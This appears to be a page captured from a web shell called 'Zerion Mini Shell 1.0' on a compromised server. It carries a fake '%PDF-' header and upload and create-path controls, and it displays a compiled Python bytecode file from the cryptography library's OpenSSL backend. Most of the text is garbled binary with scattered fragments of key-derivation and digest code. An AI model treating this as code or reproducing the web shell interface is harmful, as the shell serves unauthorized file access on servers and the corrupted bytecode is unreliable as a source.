%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/utils.cpython-312.pyc

�

�3Tf���p�ddlmZddlZddlmZddlmZejrddlm	Z	dd�Z
						d	d�Zy)
�)�annotationsN)�hashes)�	Prehashed)�Backendc�L�|jj||jj�}|j	||jjk7�|jj||jj�}|jj|�}|j	|dk(�|jjr(|jj||jd�}n&|jj||j�}|j	|dk(�|jjd�}|jj||jj|�}|j	|dk(�|j	|ddkD�|jjd|d�}|jj|||�}|dk7r|j�}td|��|jj!||d�ddS)N�rzsize_t *zunsigned char[]zError computing shared key.)�_lib�EVP_PKEY_CTX_new�_ffi�NULL�openssl_assert�gc�EVP_PKEY_CTX_free�EVP_PKEY_derive_init�%Cryptography_HAS_EVP_PKEY_SET_PEER_EX�EVP_PKEY_derive_set_peer_ex�	_evp_pkey�EVP_PKEY_derive_set_peer�new�EVP_PKEY_derive�_consume_errors�
ValueError�buffer)�backend�evp_pkey�peer_public_key�ctx�res�keylen�buf�errorss        �L/usr/lib/python3/dist-packages/cryptography/hazmat/backends/openssl/utils.py�_evp_pkey_deriver#s���
�,�,�
'�
'��'�,�,�2C�2C�
D�C����3�'�,�,�"3�"3�3�4�
�,�,�/�/�#�w�|�|�=�=�
>�C�
�,�,�
+�
+�C�
0�C����3�!�8�$��|�|�9�9��l�l�6�6���*�*�A�
���l�l�3�3���*�*�
�����3�!�8�$�
�\�\�
�
�j�
)�F�
�,�,�
&�
&�s�G�L�L�,=�,=�v�
F�C����3�!�8�$����6�!�9�q�=�)�
�,�,�
�
�,�f�Q�i�
8�C�
�,�,�
&�
&�s�C��
8�C�
�a�x��(�(�*���6��?�?��<�<���s�F�1�I�.�q�1�1�c��t|t�s7tj|�}|j	|�|j�}n|j}t|�|jk7rtd��||fS)NzNThe provided data must be the same length as the hash algorithm's digest size.)
�
isinstancerr�Hash�update�finalize�
_algorithm�len�digest_sizer)�data�	algorithm�hash_ctxs   r"�_calculate_digest_and_algorithmr0.sr���i��+��;�;�y�)�������� � �"���(�(�	�
�4�y�I�)�)�)��
'�
�	
�

�)��r$)rr�return�bytes)r-r2r.z-typing.Union[Prehashed, hashes.HashAlgorithm]r1z)typing.Tuple[bytes, hashes.HashAlgorithm])�
__future__r�typing�cryptography.hazmat.primitivesr�/cryptography.hazmat.primitives.asymmetric.utilsr�
TYPE_CHECKING�,cryptography.hazmat.backends.openssl.backendrr#r0�r$r"�<module>r:sC��
#�
�1�E�	���D�2�<�
��<��/�r$

Zerion Mini Shell 1.0